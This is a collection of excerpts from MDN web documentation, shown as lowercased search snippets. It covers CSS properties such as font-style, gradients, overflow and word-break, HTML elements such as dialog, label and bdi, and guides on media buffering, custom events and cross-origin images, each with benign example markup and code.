... html <header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src: url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'...
...verflow: scroll; } .sample { font: 2rem 'amstelvaralpha', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let slantlabel = document.queryselector('label[for="slant"]'); let slantinput = document.queryselector('#slant'); let sampletext = document.queryselector('.sample'); function update() { let slant = `oblique ${slantinput.value}deg`; slantlabel.textcontent = `font-style: ${slant};`; sampletext.style.fontstyle = slant; } slantinput.addeventlistener('input', update); update(); accessibility concerns large sections of text set with a font-s...
... examples font styles <p class="normal">this paragraph is normal.</p> <p class="italic">this paragraph is italic.</p> <p class="oblique">this paragraph is oblique.</p> .normal { font-style: normal; } .italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
<div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient { background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); } radial gradient example a simple radial gradient.
... <div class="radial-gradient">radial gradient</div> div { width: 240px; height: 80px; } .radial-gradient { background: radial-gradient(red, yellow, rgb(30, 144, 255)); } repeating gradient examples simple repeating linear and radial gradient examples.
... <div class="linear-repeat">repeating linear gradient</div> <br> <div class="radial-repeat">repeating radial gradient</div> div { width: 240px; height: 80px; } .linear-repeat { background: repeating-linear-gradient(to top left, lightpink, lightpink 5px, white 5px, white 10px); } .radial-repeat { background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px); } conic gradient example a simple conic gradient example.
... <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
Inheritance - CSS: Cascading Style Sheets
css properties can be categorized in two types: inherited properties, which by default are set to the computed value of the parent element non-inherited properties, which by default are set to initial value of the property refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no").
...the words "emphasized text" will appear green, since the em element has inherited the value of the color property from the p element.
...the words "emphasized text" will not have a border (since the initial value of border-style is none).
...then it doubles the font size and applies a font-weight of "bold".
max-block-size - CSS: Cascading Style Sheets
any time you would normally use max-height or max-width, you should instead use max-block-size to set the maximum "height" of the content (even though this may not be a vertical value) and max-inline-size to set the maximum "width" of the content (although this may instead be vertical rather than horizontal).
... <p>writing mode <code>horizontal-tb</code> (the default):</p> <div class="standard-box horizontal"> call me ishmael.
...</div> <p>writing mode <code>vertical-rl</code>:</p> <div class="standard-box vertical"> call me ishmael.
... .standard-box { padding: 4px; background-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-size' in that specification.
overflow-block - CSS: Cascading Style Sheets
-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples html <ul> <li><code>overflow-block:hidden</code> — hides the text outside the box <div id="div1"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-block:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-block:visible</code> — displays the text outside the box if needed <div id="div3"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-block:auto</code> — on most browser, equivalent to <code>scroll</code> <div id="div4"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
overflow-y - CSS: Cascading Style Sheets
ners, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples setting overflow-y behavior html <ul> <li><code>overflow-y:hidden</code> — hides the text outside the box <div id="div1"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-y:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-y:visible</code> — displays the text outside the box if needed <div id="div3"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... </div> </li> <li><code>overflow-y:auto</code> — on most browser, equivalent to <code>scroll</code> <div id="div4"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
pointer-events - CSS: Cascading Style Sheets
in addition to indicating that the element is not the target of pointer events, the value none instructs the pointer event to go "through" the element and target whatever is "underneath" that element instead.
...of course any pointer activity at a point on the screen that is covered by the parent but not by the child will not be caught by either the child or the parent (it will go "through" the parent and target whatever is underneath).
... we would like to provide finer grained control (than just auto and none) in html for which parts of an element will cause it to "catch" pointer events, and when.
... html <ul> <li><a href="https://developer.mozilla.org">mdn</a></li> <li><a href="http://example.com">example.com</a></li> </ul> css a[href="http://example.com"] { pointer-events: none; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
text-align - CSS: Cascading Style Sheets
syntax /* keyword values */ text-align: left; text-align: right; text-align: center; text-align: justify; text-align: justify-all; text-align: start; text-align: end; text-align: match-parent; /* character-based alignment in a table column */ text-align: "."; text-align: "." center; /* block alignment values (non-standard syntax) */ text-align: -moz-center; text-align: -webkit-center; /* global values */ text-align: inherit; text-align: initial; text-align: unset; the text-align property is specified in one of the following ways: using the keyword values start, end, left, right, center, justify, justify-all, or match-parent.
... rtl if start is not supported by the browser.applies toblock containersinheritedyescomputed valueas specified, except for the match-parent value which is calculated against its parent's direction value and results in a computed value of either left or rightanimation typediscrete formal syntax start | end | left | right | center | justify | match-parent examples left alignment html <p class="example"> integer elementum massa at nulla placerat varius.
...</p> css .example { text-align: left; border: solid; } result centered text html <p class="example"> integer elementum massa at nulla placerat varius.
...</p> css .example { text-align: center; border: solid; } result justify html <p class="example"> integer elementum massa at nulla placerat varius.
text-transform - CSS: Cascading Style Sheets
capitalize (dutch ij digraph) <p>initial string <strong lang="nl">the dutch word: "ijsland" starts with a digraph.</strong> </p> <p>text-transform: capitalize <strong><span lang="nl">the dutch word: "ijsland" starts with a digraph.</span></strong> </p> span { text-transform: capitalize; } strong { float: right; } this demonstrates how the dutch ij digraph must be handled like one single letter.
... uppercase (greek vowels) <p>initial string <strong>Θα πάμε στο "Θεϊκό φαΐ" ή στη "Νεράιδα"</strong> </p> <p>text-transform: uppercase <strong><span>Θα πάμε στο "Θεϊκό φαΐ" ή στη "Νεράιδα"</span></strong> </p> span { text-transform: uppercase; } strong { float: right; } this demonstrates how greek vowels except disjunctive eta should have no accent, and the accent on the first vowel of a vowel pair becomes a ...
... lowercase (lithuanian) <p>initial string <strong>Ĩ is a lithuanian letter as is j́</strong> </p> <p>text-transform: lowercase <strong><span lang="lt">Ĩ is a lithuanian letter as is j́</span></strong> </p> span { text-transform: lowercase; } strong { float: right; } this demonstrates how the lithuanian letters Ĩ and j́ retain their dot when transformed to lowercase.
... full-width (general) <p>initial string <strong>0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz!"#$%&()*+,-./:;<=>?@{|}~</strong> </p> <p>text-transform: full-width <strong><span>0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz!"#$%&()*+,-./:;<=>?@{|}~</span></strong> </p> span { text-transform: full-width; } strong { width: 100%; float: right; } some characters exists in two formats, normal width and a full-width, with different unicode code points.
touch-action - CSS: Cascading Style Sheets
this is an alias for "pan-x pan-y pinch-zoom" (which, for compatibility, is itself still valid).
...note that scrolling "up" (pan-up) means that the user is dragging their finger downward on the screen surface, and likewise pan-left means the user is dragging their finger to the right.
... multiple directions may be combined except when there is a simpler representation (for example, "pan-left pan-right" is invalid since "pan-x" is simpler, but "pan-left pan-down" is valid).
... html <div id="map"></div> css #map { height: 400px; width: 400px; background: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
transition-timing-function - CSS: Cascading Style Sheets
formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-star...
...t | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px; background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration: 7s; } .parent > div.box1{ width: 90vw; min-width: 24em; background-color: magenta; color: yellow; border: 1px solid orange;...
... transition-property: all; transition-duration: 2s; } function updatetransition() { var els = document.queryselectorall(".parent > div[class]"); for(var c = els.length, i = 0; i < c; i++) { els[i].classlist.toggle("box1"); } } var intervalid = window.setinterval(updatetransition, 10000); .ease { transition-timing-function: ease; } .easein { transition-timing-function: ease-in; } .easeout { transition-timing-function: ease-out; } .easeinout { transition-timing-function: ease-in-out; } .linear { transition-timing-function: linear; } .cb { transition-timing-function: cubic-bezier(0.2,-2,0.8,2); } step examples <div class="parent"> <div class="jump-start">jump-start</div> <div class="jump-end">jump-end</div> <div class="jump-both">jump-both<...
.../div> <div class="jump-none">jump-none</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px; background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration:7s; } .parent > div.box1{ width: 90vw; min-width: 24em; background-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration:2s; } function updatetransition() { var els = document.queryselectorall(".parent > div[class]"); for(var c = els.length, i = 0; i < c; i++) { els[i].classlist.toggle("box1"); } } var intervalid = window.setinterval(updatetransit...
word-break - CSS: Cascading Style Sheets
<code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
... <code>word-break: break-all</code></p> <p class="breakall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>3.
... <code>word-break: keep-all</code></p> <p class="keepall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>4.
... <code>word-break: break-word</code></p> <p class="breakword narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> css .narrow { padding: 10px; border: 1px solid; width: 500px; margin: 0 auto; font-size: 20px; line-height: 1.5; letter-spacing: 1px; } .normal { word-break: normal; } .breakall { word-break: break-all; } .keepall { word-break: keep-all; } .breakword { word-break: break-word; } specifications specification status comment css text module level 3the definition of 'word-break' in that specificat...
Writing Web Audio API code that works in every browser - Developer guides
this little library will "normalise" the interfaces for you and make it look as if your code is running in a standards compliant browser, by aliasing prefixed names to the unprefixed versions.
...once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext = new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox.
...if you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that audiocontext-monkeypatch doesn't alias, because it helps you to write code in the new style.
...if they aren't, you might be able to change them into something "acceptable" for the time being, and count on the talented audio developers to implement those very soon.
Media buffering, seeking, and time ranges - Developer guides
this will work with <audio> or <video>; for now let's consider a simple audio example: <audio id="my-audio" controls src="music.mp3"> </audio> we can access these attributes like so: var myaudio = document.getelementbyid('my-audio'); var bufferedtimeranges = myaudio.buffered; timeranges object timeranges are a series of non-overlapping ranges of time, with start and stop times.
...s audio instance, the associated timeranges object would have the following available properties: myaudio.buffered.length; // returns 2 myaudio.buffered.start(0); // returns 0 myaudio.buffered.end(0); // returns 5 myaudio.buffered.start(1); // returns 15 myaudio.buffered.end(1); // returns 19 to try out and visualize buffered time ranges we can write a little bit of html: <p> <audio id="my-audio" controls> <source src="music.mp3" type="audio/mpeg"> </audio> </p> <p> <canvas id="my-canvas" width="300" height="20"> </canvas> </p> and a little bit of javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var mycanvas = document.getelementbyid('my-canvas'); var context = mycanvas.getcontext('2d'); context.fillstyle =...
...the html for our player looks like this: <audio id="my-audio" preload controls> <source src="music.mp3" type="audio/mpeg"> </audio> <div class="buffered"> <span id="buffered-amount"></span> </div> <div class="progress"> <span id="progress-amount"></span> </div> we'll use the following css to style the buffering display: .buffered { height: 20px; position: relative; background: #555; width: 300px; } #buffered-amount { display: bl...
...ality: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); myaudio.addeventlistener('progress', function() { var duration = myaudio.duration; if (duration > 0) { for (var i = 0; i < myaudio.buffered.length; i++) { if (myaudio.buffered.start(myaudio.buffered.length - 1 - i) < myaudio.currenttime) { document.getelementbyid("buffered-amount").style.width = (myaudio.buffered.end(myaudio.buffered.length - 1 - i) / duration) * 100 + "%"; break; } } } }); myaudio.addeventlistener('timeupdate', function() { var duration = myaudio.duration; if (duration > 0) { document.getelementbyid('progress-amount').style.width = ((myaudio.currenttime / duration)*100) + "%"; ...
Block formatting context - Developer guides
html <section> <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> </section> <section> <div class="box" style="overflow:auto"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>overflow:auto</code> container.</p> </div> </section> <section> <div class="box" style="display:flow-root"> ...
... <div class="float">i am a floated box!</div> <p>i am content inside the <code>display:flow-root</code> container.</p> </div> </section> css section { height:150px; } .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] { background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; width: 200px; height: 100px; background-color: rgba(255, 255, 255, .5); border:1px solid black; padding: 10px; } exclude external floats in the following example, we are using display:flow-root and floats to implement double columns layout, beacuse an element in the normal flow that establishes a new bfc must not overlap the margin box of any floats in the same block formatting context a...
... html <section> <div class="float">try to resize this outer float</div> <div class="box"><p>normal</p></div> </section> <section> <div class="float">try to resize this outer float</div> <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div> </section> css section { height:150px; } .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] { background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; overflow: hidden; /* required by resize:both */ resize: both; margin-right:25px; width: 200px; height: 100px; background-color: rgba(255, 255, 255, .75); border: 1px solid black; padding: 10px; } rat...
... margin collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
Creating and triggering events - Developer guides
elem.dispatchevent(event); event bubbling it is often desirable to trigger an event from a child element, and have an ancestor catch it; optionally, with data: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); // create a new event, allow bubbling, and provide any data you want to pass to the "detail" property const eventawesome = new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } }); // the form element listens for the custom "awesome" event and then consoles the output of the passed text() method form.addeventlistener('awesome', e => console.log(e.detail.text())); // as the user types, the textarea inside the form dispatches/triggers the event to ...
...r events that haven't been created yet: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); form.addeventlistener('awesome', e => console.log(e.detail.text())); textarea.addeventlistener('input', function() { // create and dispatch/trigger an event on the fly // note: optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "this" will represent the element this.dispatchevent(new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) }); triggering built-in events this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
... alert("cancelled"); } else { // none of the handlers called preventdefault.
... alert("not cancelled"); } } ...
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
some contexts from which you should not call document.write() include: scripts created using document.createelement() event handlers settimeout() setinterval() <script async src="..."> <script defer src="..."> if you use the same mechanism for loading script libraries for all browsers including ie, then your code probably will not be affected by this change.
...when the attribute value is not the empty string and does not contain whitespace, ", ', `, <, =, or >).
...(there are also some element whose end tags can be omitted in some cases, such as <p> in the example below, but it's simpler to always use end tags for those elements than to make sure that the end tags are only omitted when they aren't necessary.) for example, the following code writes a balanced sub-tree: <script> document.write("<div>"); document.write("<p>some content goes here.</p>"); document.write("</div>"); </script> <!-- non-script html goes here.
... <script>document.write("<div>");</script> <p>some content goes here.</p> <script>document.write("</div>");</script> for more information, see optimizing your pages for speculative parsing.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
"" setting the attribute name to an empty value, like crossorigin or crossorigin="", is the same as anonymous.
...the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin.
... <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specification status comment html living standardthe definition of 'cors settings attributes' in that specification.
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
consider the html5 boilerplate apache server configuration file for cors images, shown below: <ifmodule mod_setenvif.c> <ifmodule mod_headers.c> <filesmatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"> setenvif origin ":" is_cors header set access-control-allow-origin "*" env=is_cors </filesmatch> </ifmodule> </ifmodule> in short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere ...
... starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl)...
...the image is then configured to allow cross-origin downloading by setting its crossorigin attribute to "anonymous" (that is, allow non-authenticated downloading of the image cross-origin).
... receiving and saving the image the code that handles the newly-downloaded image is found in the imagereceived() method: function imagereceived() { let canvas = document.createelement("canvas"); let context = canvas.getcontext("2d"); canvas.width = downloadedimg.width; canvas.height = downloadedimg.height; context.drawimage(downloadedimg, 0, 0); imagebox.appendchild(canvas); try { localstorage.setitem("saved-image-example", canvas.todataurl("image/png")); } catch(err) { console.log("error: " + err); } } imagereceived() is called to handle the "load"...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
it can be enabled via "about:config" and the "media.dash.enabled" preference.
...create the manifest file: ffmpeg \ -f webm_dash_manifest -i video_160x90_250k.webm \ -f webm_dash_manifest -i video_320x180_500k.webm \ -f webm_dash_manifest -i video_640x360_750k.webm \ -f webm_dash_manifest -i video_1280x720_1500k.webm \ -f webm_dash_manifest -i my_audio.webm \ -c copy \ -map 0 -map 1 -map 2 -map 3 -map 4 \ -f webm_dash_manifest \ -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \ my_video_manifest.mpd the -map arguments correspond to the input files in the sequence they are given; you should have one for each file.
...dash works via http, so as long as your http server supports byte range requests, and it's set up to serve .mpd files with mimetype="application/dash+xml", then you're all set.
... using dash - client side you'll want to modify your web page to point to the dash manifest first, instead of directly to a particular video file: <video> <source src="movie.mpd"> <source src="movie.webm"> your browser does not support the video tag.
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
it is a good practice to use the class attribute on the <b> element in order to convey additional semantic information as needed (for example <b class="lead"> for the first sentence in a paragraph).
... if there is no semantic purpose to using the <b> element, you should use the css font-weight property with the value "bold" instead in order to make text bold.
... examples <p> this article describes several <b class="keywords">text-level</b> elements.
... it explains their usage in an <b class="keywords">html</b> document.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
embedding the characters in <span dir="auto"> has the same effect as using <bdi>, but its semantics are less clear.
...when the names only contain ltr text the results look fine: <ul> <li><span class="name">henrietta boffin</span> - 1st place</li> <li><span class="name">jerry cruncher</span> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } no <bdi> with rtl text this example lists the winners of a competition using <span> elements only, and one of the ...
...in this case the "- 1", which consists of characters with neutral or weak directionality, will adopt the directionality of the rtl text, and the result will be garbled: <ul> <li><span class="name">اَلأَعْشَى</span> - 1st place</li> <li><span class="name">jerry cruncher</span> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } using <bdi> with ltr and rtl text this example lists the winners of a competition using <bdi> elements.
... these elements instruct the browser to treat the name in isolation from its embedding context, so the example output is properly ordered: <ul> <li><bdi class="name">اَلأَعْشَى</bdi> - 1st place</li> <li><bdi class="name">jerry cruncher</bdi> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } specifications specification status comment html living standardthe definition of '<bdi>' in that specification.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
usage notes <form> elements can close a dialog if they have the attribute method="dialog".
... examples simple example <dialog open> <p>greetings, one and all!</p> </dialog> advanced example this example opens a pop-up dialog box that contains a form, when the "update details" button is clicked.
... html <!-- simple pop-up dialog box containing a form --> <dialog id="favdialog"> <form method="dialog"> <p><label>favorite animal: <select> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select> </label></p> <menu> <button value="cancel">cancel</button> <button id="confirmbtn" value="default">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <output aria-live="polite"></output> javascript var updatebutton = document.getelementbyid('updatedetails'); var favdialog = document.getelementbyid('favdialog'); var outputbox = document.queryselector('output'); var selectel = document.queryselector(...
...'select'); var confirmbtn = document.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status...
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
an example for <em> could be: "just do it already!", or: "we had to do something about it".
... an example for <i> could be: "the queen mary sailed last night".
... here, there is no added emphasis or importance on the word "queen mary".
...another example for <i> could be: "the word the is an article".
<isindex> - HTML: Hypertext Markup Language
WebHTMLElementisindex
example <head> <isindex prompt="search document..." action="/search"> </head> in past browsers, this would generate, at parse time, a dom tree equivalent to the following html: <form action="/search"> <hr> <label> search document...
... <input name="isindex"> </label> <hr> </form> history on june 1992, dan connolly would prefer a different anchor type instead of isindex.
...the question of forms for making queries is mentioned in reference to dynatext browser: "the browser displays toggle buttons, text fields etc.
... the user fills in the fields, clicks ok, and the query results come up in the table of contents window." a thread about isindex in november 1992, kevin hoadley questioned the need for an isindex element and proposed to drop it.
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
<input type="checkbox" name="peas"> </label> other usage notes: the form control that the label is labeling is called the labeled control of the label element.
... examples simple label example <label>click me <input type="text"></label> using the "for" attribute <label for="username">click me</label> <input type="text" id="username"> accessibility concerns interactive content don't place interactive elements such as anchors or buttons inside a label.
... don't <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the <a href="terms-and-conditions.html">terms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the terms and conditions </label> <p> <a href="terms-and-conditions.html">read our terms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are commonly used as a navigation aid.
... don't <label for="your-name"> <h3>your name</h3> <input id="your-name" name="your-name" type="text"> </label> do <label class="large-label" for="your-name"> your name <input id="your-name" name="your-name" type="text"> </label> buttons an <input> element with a type="button" declaration and a valid value attribute does not need a label associated with it.
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
(menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none.
... example html content <!-- a <div> element with a context menu --> <div contextmenu="popup-menu"> right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem type="checkbox" checked>checkbox</menuitem> <hr> <menuitem type="command" label="this command does nothing" icon="https://developer.cdn.mozilla.net/static/img/favicon144.png"> commands don't render their contents.
... </menuitem> <menuitem type="command" label="this command has javascript" onclick="alert('command clicked')"> commands don't render their contents.
... </menuitem> <hr> <menuitem type="radio" radiogroup="group1">radio button 1</menuitem> <menuitem type="radio" radiogroup="group1">radio button 2</menuitem> </menu> css content div { width: 300px; height: 80px; background-color: lightgreen; } result specifications specification status comment html 5.2the definition of '<menuitem>' in that specification.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
if the attribute is present, its value must be an ascii case-insensitive match for the string "utf-8".
... content-type if specified, the content attribute must have the value "text/html; charset=utf-8".
... x-ua-compatible if specified, the content attribute must have the value "ie=edge".
... examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification.
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
appropriate use cases for <sup> include (but aren't necessarily limited to): displaying exponents, such as "x3." it may be worth considering the use of mathml for these, especially in more complex cases.
...for example, in french, the word "mademoiselle" can be abbreviated "mlle"); this is an acceptable use case.
... representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples.
...among the most common uses of superior lettering is the presentation of certain abbreviations in french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abbreviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abbreviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> <li>french: 5<sup>ème</sup></li> </ul> the output: specifications specification status comment html living st...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
this element used to be called the "underline" element in older versions of html, and is still sometimes misused in this way.
... html <p>this paragraph includes a <u class="spelling">wrnogly</u> spelled word.</p> in the html, we see the use of <u> with a class, spelling, which is used to indicate the misspelling of the word "wrongly".
... non-semantic underlines to underline text without implying any semantic meaning, use a <span> element with the text-decoration property set to "underline", as shown below.
... html <span class="underline">today's special</span> <br> chicken noodle soup with carrots css .underline { text-decoration: underline; } result presenting a book title book titles should be presented using the <cite> element instead of <u> or even <i>.
contextmenu - HTML: Hypertext Markup Language
example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="shareviatwitter()"></menuitem> <menuitem label="facebook" onclick="shareviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu.
